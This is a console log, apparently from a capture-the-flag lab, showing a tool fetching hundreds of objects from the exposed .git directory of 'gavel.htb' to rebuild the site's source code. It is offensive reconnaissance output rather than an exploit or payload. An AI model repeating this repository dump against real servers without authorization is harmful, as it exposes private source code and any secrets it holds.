[-] Fetching http://gavel.htb/.git/objects/63/172afd0566285e6cbfe603cba80c80e40979ec [200]
[-] Fetching http://gavel.htb/.git/objects/63/ae888673fe01a6149dc6ce302567dd8f44c1cf [200]
[-] Fetching http://gavel.htb/.git/objects/64/3c1a68e5eb55419554355e9a498295be2c9385 [200]
[-] Fetching http://gavel.htb/.git/objects/64/5f2a03420943db7a3abae4f1a13b064eb30be5 [200]
[-] Fetching http://gavel.htb/.git/objects/64/19319f2429f970994c26f2a271868989c477f4 [200]
[-] Fetching http://gavel.htb/.git/objects/64/7b94b00a0285a1389cf3994fe272f7964dd68d [200]
[-] Fetching http://gavel.htb/.git/objects/64/70898d488b104eacc82114300c45991a0fb43d [200]
[-] Fetching http://gavel.htb/.git/objects/64/3d8b6c1bf536399ed7d37b2c0aaa76bd6e98e0 [200]
[-] Fetching http://gavel.htb/.git/objects/64/b2effed6022f30fbbad1b2978d8ae0f0c75f6f [200]
[-] Fetching http://gavel.htb/.git/objects/65/3e8418693956efb74ce58531d86520483257eb [200]
[-] Fetching http://gavel.htb/.git/objects/65/20c36bde9323dc6a2b8648ff787efe48d6fdab [200]
[-] Fetching http://gavel.htb/.git/objects/62/fe16c67077d27dc7c6bcdd3d6a55666d6edbf0 [200]
[-] Fetching http://gavel.htb/.git/objects/65/30e6c9ff836b190d281027ecc70bb01bc45314 [200]
[-] Fetching http://gavel.htb/.git/objects/65/89eb2929b868930f801016c90aeb5521709ed5 [200]
[-] Fetching http://gavel.htb/.git/objects/65/170d2ca661c8bbef86f8863c2aee725a28638b [200]
[-] Fetching http://gavel.htb/.git/objects/65/507dd0500ad80beaa673c1640eb6cd93d90287 [200]
[-] Fetching http://gavel.htb/.git/objects/66/044fe2f5959fe211550f97b144e7fd46869e39 [200]
[-] Fetching http://gavel.htb/.git/objects/66/5bf108c997df270dab6ccfdd3590830eb17268 [200]
[-] Fetching http://gavel.htb/.git/objects/66/9d28d8c8a7a5537eb3ba78b857df1bfb5c9171 [200]
[-] Fetching http://gavel.htb/.git/objects/66/70de20aa41a394cd702d5275991f99250a9efd [200]
[-] Fetching http://gavel.htb/.git/objects/58/f1316b06ca8c8415174787a3744d3b322e130d [200]
[-] Fetching http://gavel.htb/.git/objects/66/345a0ca4d7362da883392d2ee13bc031079517 [200]
[-] Fetching http://gavel.htb/.git/objects/66/641c7ddb446f00cee42893558e515c7668737e [200]
[-] Fetching http://gavel.htb/.git/objects/66/a4efe1d47524a85c1cfbf139f683f72859c8b0 [200]
[-] Fetching http://gavel.htb/.git/objects/66/a6655b79765485a59ade88fd16b744196ef5b5 [200]
[-] Fetching http://gavel.htb/.git/objects/66/86f6dc7ff69156bcf37a07753b041e6fdd1edd [200]
[-] Fetching http://gavel.htb/.git/objects/66/c763ac661121c9c84c3af315eb7e81867b98f0 [200]
[-] Fetching http://gavel.htb/.git/objects/66/e9f19cc7e3c977a2571abc3572eff20f619b02 [200]
[-] Fetching http://gavel.htb/.git/objects/66/f02976baa115adcda1feecbb19b5a85a8d8e35 [200]
[-] Fetching http://gavel.htb/.git/objects/66/f183cf2dbdbae2f9c34ccbf7a122d24df42dac [200]
[-] Fetching http://gavel.htb/.git/objects/66/f233a63c988deb5a59dde3bba962082fbdfd57 [200]
[-] Fetching http://gavel.htb/.git/objects/67/0498e25da87812b31f18a54f4b02261ac62067 [200]
[-] Fetching http://gavel.htb/.git/objects/67/7c965cf5ee6bd3a9a2eca3137581c8e8410168 [200]
[-] Fetching http://gavel.htb/.git/objects/67/30c3c330f5a9ad7d3567c262dbab280944193d [200]
[-] Fetching http://gavel.htb/.git/objects/67/7cf8f124e7be44a16684765649efeec17db2e2 [200]
[-] Fetching http://gavel.htb/.git/objects/67/ee7601a8753acb929010b9945be25db4cdb733 [200]
[-] Fetching http://gavel.htb/.git/objects/68/16ce89015022eb342b81743200e9489b930595 [200]
[-] Fetching http://gavel.htb/.git/objects/68/459e4f09410240256da2d69de7c390e43b5e24 [200]
[-] Fetching http://gavel.htb/.git/objects/68/9868d54b1d6a18fc85eacae09d2e76e3c9ed21 [200]
[-] Fetching http://gavel.htb/.git/objects/68/78777e5c6527fb6d50916a67eab5674d04cea3 [200]
[-] Fetching http://gavel.htb/.git/objects/68/a0750dd1d0be8c2d3374c76addcedc97d91a85 [200]
[-] Fetching http://gavel.htb/.git/objects/68/bca90950f8a08de9508e4318702b094677101a [200]
[-] Fetching http://gavel.htb/.git/objects/69/3c571fd14ef1f5be67552f59a928408d6e60f5 [200]
[-] Fetching http://gavel.htb/.git/objects/69/70f9f5a6db2e73bc13a6aa81199f8a596dd995 [200]
[-] Fetching http://gavel.htb/.git/objects/69/89bdd244cfd677981b9ae001a077405875a4bd [200]
[-] Fetching http://gavel.htb/.git/objects/69/11644ccf8a77e768708aee9973aff9798da4bf [200]
[-] Fetching http://gavel.htb/.git/objects/69/a6f0cea3d17404dce8976f1a8ece230e6c6d4f [200]
[-] Fetching http://gavel.htb/.git/objects/69/e056d2c1ef94f63abe42f9fba78fbcd85feae0 [200]
[-] Fetching http://gavel.htb/.git/objects/69/ea33b0d1d5cd200b9579357575dc3d7cf836b3 [200]
[-] Fetching http://gavel.htb/.git/objects/69/ecec0e8408e04eb526b40c55bb0a0000261463 [200]
[-] Fetching http://gavel.htb/.git/objects/70/9dc24a4e0636c4a635476d505b1fa63d4b7603 [200]
[-] Fetching http://gavel.htb/.git/objects/70/30c90ed693cda65541a8de15665bc08a6a27b4 [200]
[-] Fetching http://gavel.htb/.git/objects/70/26b5bd664d5c00815a7b0cbce973e44c1da7e3 [200]
[-] Fetching http://gavel.htb/.git/objects/70/4ec951037407467699bbdddab9ee901febaae0 [200]
[-] Fetching http://gavel.htb/.git/objects/69/13442b83ff5a7adbd1a720d6065aedc5af634a [200]
[-] Fetching http://gavel.htb/.git/objects/70/c9ec465a29405c3a75bb97db8fb191a2a75249 [200]
[-] Fetching http://gavel.htb/.git/objects/70/c47716a671f23a97fcab9f256072d0c1923f4a [200]
[-] Fetching http://gavel.htb/.git/objects/71/0445e3ba36b90bd22ad5a414c9934ab8d37f64 [200]
[-] Fetching http://gavel.htb/.git/objects/70/b3bddf49aa5aa267748d70774ed8d3b66badbf [200]
[-] Fetching http://gavel.htb/.git/objects/71/8d2878d9257a35a8655cc62ff7270bc499b8c1 [200]
[-] Fetching http://gavel.htb/.git/objects/71/d48180976fa98113f20b473a5b695f094947c8 [200]
[-] Fetching http://gavel.htb/.git/objects/71/c713351213bd68396142770a6e189b694bdd81 [200]
[-] Fetching http://gavel.htb/.git/objects/73/0d71db6779d37345a3c46878affc3fdf6236fb [200]
[-] Fetching http://gavel.htb/.git/objects/73/65b9439e52243e31159bd4f476b0a3b3e3be87 [200]
[-] Fetching http://gavel.htb/.git/objects/71/53e1c083923e269d4cd6946b076648ddff4070 [200]
[-] Fetching http://gavel.htb/.git/objects/73/75f9649acfa6bb1e94ee9bf61fa08837d85390 [200]
[-] Fetching http://gavel.htb/.git/objects/73/90af378f2baba96670f16985d630955d7e389d [200]
[-] Fetching http://gavel.htb/.git/objects/73/550f542a5ad4b4ab3bbc657d722bb441359189 [200]
[-] Fetching http://gavel.htb/.git/objects/73/c8e3537daa085cb8488551f3416fcf69cfcda7 [200]
[-] Fetching http://gavel.htb/.git/objects/73/c1a4d5d156b6ddc62a7e3eba1c206bd6ad19c8 [200]
[-] Fetching http://gavel.htb/.git/objects/76/3fe438c9ac4c629e7f10340a734f808fe76d80 [200]
[-] Fetching http://gavel.htb/.git/objects/76/2eb0e6fc837bf3c04a61e86d425f46caa23575 [200]
[-] Fetching http://gavel.htb/.git/objects/73/562ca00590bb296e66a1f80d0ccef69bd9cc98 [200]
[-] Fetching http://gavel.htb/.git/objects/73/905adada72c2e9445060a7a8e89f37982113e9 [200]
[-] Fetching http://gavel.htb/.git/objects/76/9ef2c7604d56e45b81072e199370e8a1ef9c5b [200]
[-] Fetching http://gavel.htb/.git/objects/76/15fe2c142d53392c21ba65de5f508fdea86806 [200]
[-] Fetching http://gavel.htb/.git/objects/76/4cc23d78302dd1b28d10f1fcc64c33dec58d69 [200]
[-] Fetching http://gavel.htb/.git/objects/76/cb712fb7da94cb574a590f70f049deb9d1feef [200]
[-] Fetching http://gavel.htb/.git/objects/76/836d948563bede451db783857946bce80781fc [200]
[-] Fetching http://gavel.htb/.git/objects/77/56c3bfacf76d2ff6e7852cdc6ee4e8b3e1aa3d [200]
[-] Fetching http://gavel.htb/.git/objects/77/4a50e36e17746169af1bc128ad24b21150c0e1 [200]
[-] Fetching http://gavel.htb/.git/objects/77/829b4c496408ddd37d43ad67ddfc9c0a160287 [200]
[-] Fetching http://gavel.htb/.git/objects/77/25085265dda276f5c21032209dc6fd1b721ef9 [200]
[-] Fetching http://gavel.htb/.git/objects/77/a3da4c486165be87d37fcc0a56fdbb7e0d1133 [200]
[-] Fetching http://gavel.htb/.git/objects/74/5b85dab33ee87f714d7980753a1badabfc6281 [200]
[-] Fetching http://gavel.htb/.git/objects/74/9e58eb056676f247cc1175ee89480d25b8aa9c [200]
[-] Fetching http://gavel.htb/.git/objects/74/6ff2888d04a6e499858db696f74a7a47f233fa [200]
[-] Fetching http://gavel.htb/.git/objects/74/68ec6bcbf941c91350fd7dbcff4ff7153b5dd9 [200]
[-] Fetching http://gavel.htb/.git/objects/74/81bc55cfb2e68377d782dd3d893c5cda1f8451 [200]
[-] Fetching http://gavel.htb/.git/objects/74/4667b9dfa4b5d86447dba8d39ba54125add502 [200]
[-] Fetching http://gavel.htb/.git/objects/74/e0a2e52878976f0c948091807e5bf0f21f7da4 [200]
[-] Fetching http://gavel.htb/.git/objects/77/97b9eb5bae3bc2c5fcca952063d2564840cf0b [200]
[-] Fetching http://gavel.htb/.git/objects/77/120fd5c8a391112f4518c0007dc83a2dab8157 [200]
[-] Fetching http://gavel.htb/.git/objects/74/e52215dc6b036a128a15801d02dc649feba796 [200]
[-] Fetching http://gavel.htb/.git/objects/78/014f0730f9d72258a0f575d0fa7316808b0951 [200]
[-] Fetching http://gavel.htb/.git/objects/78/07f25a5dc032de67a043e5200b39f0562e190a [200]
[-] Fetching http://gavel.htb/.git/objects/74/f2aa21af81735239a11052438896a5d1dcaee1 [200]
[-] Fetching http://gavel.htb/.git/objects/78/94b5534c47c1a8b45b2552efe136ea97351330 [200]
[-] Fetching http://gavel.htb/.git/objects/78/099bad895ecde1f8a7377e8d023d569fb66ad6 [200]
[-] Fetching http://gavel.htb/.git/objects/78/9981f5ecbd3cc5b4c945d009d3feee4105fc9a [200]
[-] Fetching http://gavel.htb/.git/objects/78/b5be706ce76a78c97cedf61f615153409bb4b3 [200]
[-] Fetching http://gavel.htb/.git/objects/78/babc73dc5293c47af50244e965ff18a2b46288 [200]
[-] Fetching http://gavel.htb/.git/objects/78/c24603c2c3ffe4596850df337e8c85fe370d81 [200]
[-] Fetching http://gavel.htb/.git/objects/78/c395491ee2db4b07e06275c4b72a618795e688 [200]
[-] Fetching http://gavel.htb/.git/objects/78/fb53a6e4e3a6ff7166d4a73f62221b59238726 [200]
[-] Fetching http://gavel.htb/.git/objects/79/2fbf817d67c1dbbe8edb8f3935322dfc758241 [200]
[-] Fetching http://gavel.htb/.git/objects/79/61bdaf8e0e91721bc5832cdca1df128bad1b27 [200]
[-] Fetching http://gavel.htb/.git/objects/79/b496b5f0056694deaf2925c5e55bb67a7bff8b [200]
[-] Fetching http://gavel.htb/.git/objects/79/c9dc09bbe578023e7a632ffd53f6f0d75036e3 [200]
[-] Fetching http://gavel.htb/.git/objects/79/c64abf9c6fb506b51b12e03ec20d5ac2fd020d [200]
[-] Fetching http://gavel.htb/.git/objects/79/d69cdf19b1c8f59540f9deacb9be7691fa3583 [200]
[-] Fetching http://gavel.htb/.git/objects/80/57ddd92fdd6e0dd73aa6953c31e8b254dffac6 [200]
[-] Fetching http://gavel.htb/.git/objects/80/0a063b44d3884f8d363f7778d6d551b69f4f08 [200]
[-] Fetching http://gavel.htb/.git/objects/80/60d4140a75d763bb5db64c227853317c01aab1 [200]
[-] Fetching http://gavel.htb/.git/objects/80/91e99d76bbb37125765295efa9a1675abb6be4 [200]
[-] Fetching http://gavel.htb/.git/objects/80/578beae2e72dedf9c57556268a14bffa2c8c6c [200]
[-] Fetching http://gavel.htb/.git/objects/78/42899c5d92b28a747998fa4579751d1f3203b4 [200]
[-] Fetching http://gavel.htb/.git/objects/78/670278a01303a1259147012e334236b1aabd82 [200]
[-] Fetching http://gavel.htb/.git/objects/80/1444c29bac1565a49be3d6eb479f6fc5c36770 [200]
[-] Fetching http://gavel.htb/.git/objects/80/580189ad7f5453a16cbdf5f5c84824baa0ebcc [200]
[-] Fetching http://gavel.htb/.git/objects/80/754480a497e2bfa40cde352e9bfd12d0fbab95 [200]
[-] Fetching http://gavel.htb/.git/objects/80/ac7facf0accbc268812020cd8f5a47e73490d1 [200]
[-] Fetching http://gavel.htb/.git/objects/80/b0999e2975c034942db7c72bcb7ea2d571c85c [200]
[-] Fetching http://gavel.htb/.git/objects/80/b4b47ae44c77203168ed6c4ec27431a3c840c8 [200]
[-] Fetching http://gavel.htb/.git/objects/81/08fb795584f67776005f6b665a3b7f6377dfe4 [200]
[-] Fetching http://gavel.htb/.git/objects/80/e375b79036aa016f4a051174cd8076f0187cc9 [200]
[-] Fetching http://gavel.htb/.git/objects/81/22f147dd66fbf5d2cd64afec692391860d6c71 [200]
[-] Fetching http://gavel.htb/.git/objects/81/63c8201bd46db2742dbbde7c58c1e43af489c0 [200]
[-] Fetching http://gavel.htb/.git/objects/81/91e5fe1b0e0a314a6f8524cb91381b5d00e912 [200]
[-] Fetching http://gavel.htb/.git/objects/81/89a98add972427449bf0f34944eb23e5b38133 [200]
[-] Fetching http://gavel.htb/.git/objects/81/69b94ebed3734787f5cf6f82a966845e2002a7 [200]
[-] Fetching http://gavel.htb/.git/objects/81/be7b02ddb013c0d72fea2f0ffa84a715dbc88b [200]
[-] Fetching http://gavel.htb/.git/objects/81/ea9b637c2f7ce340a0efd78bcf348e8f073eaf [200]
[-] Fetching http://gavel.htb/.git/objects/81/f1cc31c8a790d8e0479ff10d03272afac4f351 [200]
[-] Fetching http://gavel.htb/.git/objects/72/2dab04702461e0fb1e83c219474d6586f094a1 [200]
[-] Fetching http://gavel.htb/.git/objects/72/8fbf0645e8110bebef0fb933b83f9c72095364 [200]
[-] Fetching http://gavel.htb/.git/objects/72/45ef5399d3f6d5355acf3b9d9569530e7aa479 [200]
[-] Fetching http://gavel.htb/.git/objects/72/9438be434ebfa219ea4997ba51f435d72de370 [200]
[-] Fetching http://gavel.htb/.git/objects/72/d3b4cb3b75c509a04a1fadb87b9e6b9f7ea709 [200]
[-] Fetching http://gavel.htb/.git/objects/72/e95ccde4cb1c65f3ebfa3a2e9fea248021fa98 [200]
[-] Fetching http://gavel.htb/.git/objects/82/3a3996736a979f9f02bc776681ef93e882a289 [200]
[-] Fetching http://gavel.htb/.git/objects/82/6afc5e5e9a274ff2ed82bd8c394cfe1dd5d4af [200]
[-] Fetching http://gavel.htb/.git/objects/82/8d3589c8c22f7fd41cc87c1dbc87fc72371c99 [200]
[-] Fetching http://gavel.htb/.git/objects/82/9459e0ce3449e239967cb2de65038edced03a3 [200]
[-] Fetching http://gavel.htb/.git/objects/82/729fded8ef8f5c959460e41d15f1bd75914640 [200]
[-] Fetching http://gavel.htb/.git/objects/82/d42121cc8862b75d83977f223c6d073747f92d [200]
[-] Fetching http://gavel.htb/.git/objects/82/7320827d4aea4d49fd5a1c0d18760df06d8d0d [200]
[-] Fetching http://gavel.htb/.git/objects/82/e9593ef14c770d69781f1cc3f00236b445e307 [200]
[-] Fetching http://gavel.htb/.git/objects/75/06723a23f096b79286585f01bf7b9e0f8a8102 [200]
[-] Fetching http://gavel.htb/.git/objects/75/6fa2f081a15826c3ec3089a5ea2d8c4c5dde8e [200]
[-] Fetching http://gavel.htb/.git/objects/81/2bbc0a9aafea6770687523cde276751aa129f6 [200]
[-] Fetching http://gavel.htb/.git/objects/75/8dca2ce135ec4811e66bfc0bed330550bafa96 [200]
[-] Fetching http://gavel.htb/.git/objects/81/3f1c2b371c0cb43a9fc5bd3b0044be026b814f [200]
[-] Fetching http://gavel.htb/.git/objects/75/63c4fa9c474e5842637ebaf22a821ca593255a [200]
[-] Fetching http://gavel.htb/.git/objects/75/56941f51e4b7fcce1e68325b07147b27cbed40 [200]
[-] Fetching http://gavel.htb/.git/objects/75/205082c503726b9f4095cb22dd585234eed124 [200]
[-] Fetching http://gavel.htb/.git/objects/75/c0f3d3496ea2eca04d34003d3e9f60c0ba1369 [200]
[-] Fetching http://gavel.htb/.git/objects/75/ae09fb059f483f210ecc8477f4d3c6f51b800a [200]
[-] Fetching http://gavel.htb/.git/objects/75/ff9e8607d749ae036e307a95e856311791cf86 [200]
[-] Fetching http://gavel.htb/.git/objects/83/1b1fce336d9aa86301116ad7176221c6c4bf19 [200]
[-] Fetching http://gavel.htb/.git/objects/83/4aee9828e821372fc3cdea07f776a3cdd8175c [200]
[-] Fetching http://gavel.htb/.git/objects/83/26c30641e6dfce3b23d018edb30c7d044a7d1a [200]
[-] Fetching http://gavel.htb/.git/objects/83/550fad76c33f24fca9dc36593e135299db1510 [200]
[-] Fetching http://gavel.htb/.git/objects/86/032cfd9d7e1ac9a3d4732ca2b4383d3d7838da [200]
[-] Fetching http://gavel.htb/.git/objects/86/31c6f3f87859519c772e6475e5e52250113c07 [200]
[-] Fetching http://gavel.htb/.git/objects/83/aafe9291d761232f64b3821686c238a4595912 [200]
[-] Fetching http://gavel.htb/.git/objects/83/95de6b76b6b9cbfc29cf181fbe5cc5fc205efc [200]
[-] Fetching http://gavel.htb/.git/objects/83/2fb1f8c22b74f1c304352f8859d37320f81309 [200]
[-] Fetching http://gavel.htb/.git/objects/86/35281dbef67644faeb90ad3a6e5a89030cc65b [200]
[-] Fetching http://gavel.htb/.git/objects/86/d5bb798261a069ea51452415a0e4b1bebe2d82 [200]
[-] Fetching http://gavel.htb/.git/objects/86/fe4528bcf010ad0b8c74c2e0e105d51ff647fb [200]
[-] Fetching http://gavel.htb/.git/objects/85/14b7ad166672602887de20f5ec5a6e3c82b63d [200]
[-] Fetching http://gavel.htb/.git/objects/86/da8c9c2ffe6bb3d3bff3fad432a5c73b3fe031 [200]
[-] Fetching http://gavel.htb/.git/objects/85/657ff9e9932901672d95e743424200eeb77b2c [200]
[-] Fetching http://gavel.htb/.git/objects/85/e629ab3076850e3c0bdc7116f13d821986d741 [200]
[-] Fetching http://gavel.htb/.git/objects/85/a89504d0f1a19e16b59e922f4c5af0e615e8be [200]
[-] Fetching http://gavel.htb/.git/objects/85/fa70ac9901a73d1e64431e143088c06caee015 [200]
[-] Fetching http://gavel.htb/.git/objects/87/64a96e24e2342483981e9e6f4a642ed64f1d7a [200]
[-] Fetching http://gavel.htb/.git/objects/87/02278d54c8f493da044ba3814f378bff182a8d [200]
[-] Fetching http://gavel.htb/.git/objects/87/87f671c710b7b760147f0f47a46d2642c00046 [200]
[-] Fetching http://gavel.htb/.git/objects/84/037271f241c02d8a67754edd3a3f854a98a3cc [200]
[-] Fetching http://gavel.htb/.git/objects/87/cb90cb59a86611da6ba6355f8f75f4b7fa7254 [200]
[-] Fetching http://gavel.htb/.git/objects/84/114c53239830f250fec5153b1c8c612f1c6e32 [200]
[-] Fetching http://gavel.htb/.git/objects/84/539c8f26145a2706bcc972b689f30742dcddcf [200]
[-] Fetching http://gavel.htb/.git/objects/84/980420c6a991f84753dfa2c86af4fa5a20e45a [200]
[-] Fetching http://gavel.htb/.git/objects/84/863f21a52de533a84bbf215a2e647afeecd676 [200]
[-] Fetching http://gavel.htb/.git/objects/84/74745883ac9da741536c4d9488f5c6d67f7c59 [200]
[-] Fetching http://gavel.htb/.git/objects/84/cad9451c48a79ce9f03ffc305c975a99807418 [200]
[-] Fetching http://gavel.htb/.git/objects/88/023d3cd2a70e56635720a1c32e3eba4c61710c [200]
[-] Fetching http://gavel.htb/.git/objects/88/065e638020a79be3a74933d29ef30990e4987e [200]
[-] Fetching http://gavel.htb/.git/objects/88/6f6dbab4d8dba57ceb5839a8da338fe649fc46 [200]
[-] Fetching http://gavel.htb/.git/objects/88/7395eadae8cb3b95be34ecd5d47d3d0c485521 [200]
[-] Fetching http://gavel.htb/.git/objects/88/13401f2b7443edb224103025fca253c1623ed6 [200]
[-] Fetching http://gavel.htb/.git/objects/88/c4d64b7f7ef50faabf977b168076bb9750da17 [200]
[-] Fetching http://gavel.htb/.git/objects/88/dec0d7f60e6576d54556864542fbfc4e038fe1 [200]
[-] Fetching http://gavel.htb/.git/objects/88/de21507ca9c675b8eaed2b0e48bee6090a3a1f [200]
[-] Fetching http://gavel.htb/.git/objects/89/87b5bca17a305d8b4325f61b9e545920378466 [200]
[-] Fetching http://gavel.htb/.git/objects/89/c44ef573f3c76baa9a5795d957300a701a36c3 [200]
[-] Fetching http://gavel.htb/.git/objects/89/c409eedfb366b29d19d8311922c599e296f387 [200]
[-] Fetching http://gavel.htb/.git/objects/89/ed6f60daf4194642c6bd2b18a921e9146dfede [200]
[-] Fetching http://gavel.htb/.git/objects/90/1aa66f0216bff12fd78cc9c6ce1641b7a97004 [200]
[-] Fetching http://gavel.htb/.git/objects/90/6d2e00aa9545adb5243361eae11b4b88faa09a [200]
[-] Fetching http://gavel.htb/.git/objects/90/24b312f9018e65cdf4a4d193c4f60f23cf25cd [200]
[-] Fetching http://gavel.htb/.git/objects/90/36d93951f88a881e5d56b751548a332c246f68 [200]
[-] Fetching http://gavel.htb/.git/objects/90/664b9a3072456c0763e439936df87251bf533b [200]
[-] Fetching http://gavel.htb/.git/objects/90/191e01593a8ee0cda76c2e1329968d9bd45950 [200]
[-] Fetching http://gavel.htb/.git/objects/90/ee444c909d46ea1e6e5996b842e70a03fb18da [200]
[-] Fetching http://gavel.htb/.git/objects/90/f2ac3726806eddc6134a56a157a66c9fedaaaa [200]
[-] Fetching http://gavel.htb/.git/objects/89/bd127b80a076b95ed0fa1cdea71d5cb8425d68 [200]
[-] Fetching http://gavel.htb/.git/objects/89/4af4a3a5afec833982dc3ed1aa5a3dd1d5d9c2 [200]
[-] Fetching http://gavel.htb/.git/objects/91/2cd0e0b13722c85c1c175f8bef2243635325a2 [200]
[-] Fetching http://gavel.htb/.git/objects/91/57fce258e552febc7b06b7e12b5882d301faff [200]
[-] Fetching http://gavel.htb/.git/objects/91/9e115fa167ac7dcee1b1a0aef744579a7ede55 [200]
[-] Fetching http://gavel.htb/.git/objects/91/924f7e10de5d2d6981b5901e9b45e9474f276a [200]
[-] Fetching http://gavel.htb/.git/objects/91/42858756ba1c4f4bdae80d920a18548f8770f4 [200]
[-] Fetching http://gavel.htb/.git/objects/91/f3535ee7058b65efa3ccfcde7c430f1f515b1f [200]
[-] Fetching http://gavel.htb/.git/objects/93/13cc54758a987746629ae9ca10f050edaceaba [200]
[-] Fetching http://gavel.htb/.git/objects/93/740fb000b942713a96d8c8468d22e7418e7b4d [200]
[-] Fetching http://gavel.htb/.git/objects/93/a8273a5d3d7a118e7ff7aff9fa67d87ae3a028 [200]
[-] Fetching http://gavel.htb/.git/objects/93/e0ed1dd2927d77978a280a88486f76c048cfee [200]
[-] Fetching http://gavel.htb/.git/objects/93/b5eb99afc956a710ee59f3f771b5e97d45791b [200]
[-] Fetching http://gavel.htb/.git/objects/96/0003d44fa303dcacbfd82e45519d59beacef30 [200]
[-] Fetching http://gavel.htb/.git/objects/96/3fc1caa11573e0b3b516e37ba8b4a5ab7c4fbd [200]
[-] Fetching http://gavel.htb/.git/objects/96/55d42af5214d657c8a4ecafcc6e4df97fcf7fe [200]
[-] Fetching http://gavel.htb/.git/objects/96/65811abc8e312720c096837cfc55c8834d22b6 [200]
[-] Fetching http://gavel.htb/.git/objects/96/3226835b5602f7556fb4d0e3c342d2682ac2cf [200]
[-] Fetching http://gavel.htb/.git/objects/96/dc8497f414d57fdf2fcc4317397594e524caa3 [200]
[-] Fetching http://gavel.htb/.git/objects/96/dd74c33e63d8104ef4b92febf2512e1e8d61ec [200]
[-] Fetching http://gavel.htb/.git/objects/95/96cd1576f785189f63ea72f7f841f06f8a83e1 [200]
[-] Fetching http://gavel.htb/.git/objects/95/423b767c1422c4c1789da380182ee3c37ddc0f [200]
[-] Fetching http://gavel.htb/.git/objects/95/b36fd657e9ce1f8cb7b78639705e23ab13e802 [200]
[-] Fetching http://gavel.htb/.git/objects/95/c46b9321812c6a98a95a61a2be377483c65143 [200]
[-] Fetching http://gavel.htb/.git/objects/95/f24f69a5f2fb6ee2def530097700c227fa352e [200]
[-] Fetching http://gavel.htb/.git/objects/98/087113fb37684638a881c4cdafbade593f7d49 [200]
[-] Fetching http://gavel.htb/.git/objects/95/12a241a54cfb217e4ab7f4727330e2a631cb81 [200]
[-] Fetching http://gavel.htb/.git/objects/95/faf46bbe65d01fe79db6df48651fb699ae4d94 [200]
[-] Fetching http://gavel.htb/.git/objects/98/195fb515aeaea8c45761b0b1a237bf0cbc99eb [200]
[-] Fetching http://gavel.htb/.git/objects/98/426cff10990aa4067a62533c9a43a672bf5f10 [200]
[-] Fetching http://gavel.htb/.git/objects/98/52a4cd5b038c33c3aa8fe10ffff9c32f4857f6 [200]
[-] Fetching http://gavel.htb/.git/objects/98/c2a2f9e96d88a80f7aede9cdccb94c064286e1 [200]
[-] Fetching http://gavel.htb/.git/objects/98/cb1a17cae2e14431ff334878a0e6249f4241e9 [200]
[-] Fetching http://gavel.htb/.git/objects/98/f0cdbadd9af1b1e5f4683b8cb54b86b85f4008 [200]
[-] Fetching http://gavel.htb/.git/objects/98/6282aab9eccf1c62e716e3da989872b0dea904 [200]
[-] Fetching http://gavel.htb/.git/objects/97/0641ff4f914db05dd10b9910609d30ee06eef3 [200]
[-] Fetching http://gavel.htb/.git/objects/98/f9bf0f7f5911bf3c903d831e3f8793255935f3 [200]
[-] Fetching http://gavel.htb/.git/objects/97/62c1e043120d7ce685c61724fd6a370111745a [200]
[-] Fetching http://gavel.htb/.git/objects/97/67d1e27110bf633eabc4c7c77446e510b6ca2c [200]
[-] Fetching http://gavel.htb/.git/objects/97/62377a4c2496b3843a7b817a63c807460b5bf1 [200]
[-] Fetching http://gavel.htb/.git/objects/97/66284d649b480fc0ffa9bd1fb010d4a13a65c4 [200]
[-] Fetching http://gavel.htb/.git/objects/97/98017b989ee5f2bdc0387d84cf8ad4e658bc35 [200]
[-] Fetching http://gavel.htb/.git/objects/99/6f8b5cca23f3094260f0a8013ddd5aef1a2fa9 [200]
[-] Fetching http://gavel.htb/.git/objects/99/8b9d90ad7d1cc1b0950c3b50ec3cf832eb0611 [200]
[-] Fetching http://gavel.htb/.git/objects/94/0a576a89c954c067197fdec4d54d45c30520e2 [200]
[-] Fetching http://gavel.htb/.git/objects/94/17b1e18ca791edadaf54faa7410227dd9e4dc4 [200]
[-] Fetching http://gavel.htb/.git/objects/94/48e3da5ebd199fcf227e86adc831e1f56ea6d7 [200]
[-] Fetching http://gavel.htb/.git/objects/94/64aea03638a7ecd3176143a2a6a1def4ff949e [200]
[-] Fetching http://gavel.htb/.git/objects/94/ae35b1797de854a644597c530043dc140c0a28 [200]
[-] Fetching http://gavel.htb/.git/objects/94/c71a6d2ca9fb7b22c7f5c094353195c364ebc7 [200]
[-] Fetching http://gavel.htb/.git/objects/92/3275c6409bebe4990ab3afe1860275b370d7a0 [200]
[-] Fetching http://gavel.htb/.git/objects/92/261a56bce3d18991b40f4eb6f6c7d757979dbd [200]
[-] Fetching http://gavel.htb/.git/objects/92/3697d61f4959af5204d50de11b5aa474fa295d [200]
[-] Fetching http://gavel.htb/.git/objects/92/b069c3fd8436bc6e6146f3142421375b08237a [200]
[-] Fetching http://gavel.htb/.git/objects/92/ab2470639634a7c13445771b2f0bf520ec98d9 [200]
[-] Fetching http://gavel.htb/.git/objects/92/b52c1092a2efa0d560ccfc21035f3c0f51d616 [200]
[-] Fetching http://gavel.htb/.git/objects/92/d31fe2a7a2f363a7010a4a06dc7426b6cb2f27 [200]
[-] Fetching http://gavel.htb/.git/objects/92/d8f00d7b3bf7b43bf9dfc12b143ea42b111145 [200]
[-] Fetching http://gavel.htb/.git/objects/92/bc8954a4b7eeb2d08e791b01dc6fad8abde550 [200]
[-] Fetching http://gavel.htb/.git/objects/99/43a7a57346a9c9bc0f10b03814af8aca1c876b [200]
[-] Fetching http://gavel.htb/.git/objects/a1/5b708f4493ac5a026f9a00f82c5ecd79e3c684 [200]
[-] Fetching http://gavel.htb/.git/objects/a1/46cd895c7dfc1afedfade8777d0d42a9bb548a [200]
[-] Fetching http://gavel.htb/.git/objects/a1/88b265ee5022c71cb9877c90a87801e1a19998 [200]
[-] Fetching http://gavel.htb/.git/objects/a1/514f028df02a74d595a58eb7932625b25e7a01 [200]
[-] Fetching http://gavel.htb/.git/objects/a0/26bbf477c0a39c5ae90c245db0acd2e7b438b7 [200]
[-] Fetching http://gavel.htb/.git/objects/a1/f55f64124e29930716162ce097441182629969 [200]
[-] Fetching http://gavel.htb/.git/objects/a0/cb5c73cfb687cb4b93ded52d4783e75c4b78db [200]
[-] Fetching http://gavel.htb/.git/objects/a0/62147c82ffaa22efd878a8b537f4147642e5ce [200]
[-] Fetching http://gavel.htb/.git/objects/a0/ad26a18b49327b547fc2f4b2cdebe919bc8c18 [200]
[-] Fetching http://gavel.htb/.git/objects/a2/56c6f80e163033aa723e7f8d6a957a94626320 [200]
[-] Fetching http://gavel.htb/.git/objects/a2/8e0b64e044d75fb6061ec04943ab17ddfbded1 [200]
[-] Fetching http://gavel.htb/.git/objects/a2/66fb0e64d02c7702b382e79964483af531a8b3 [200]
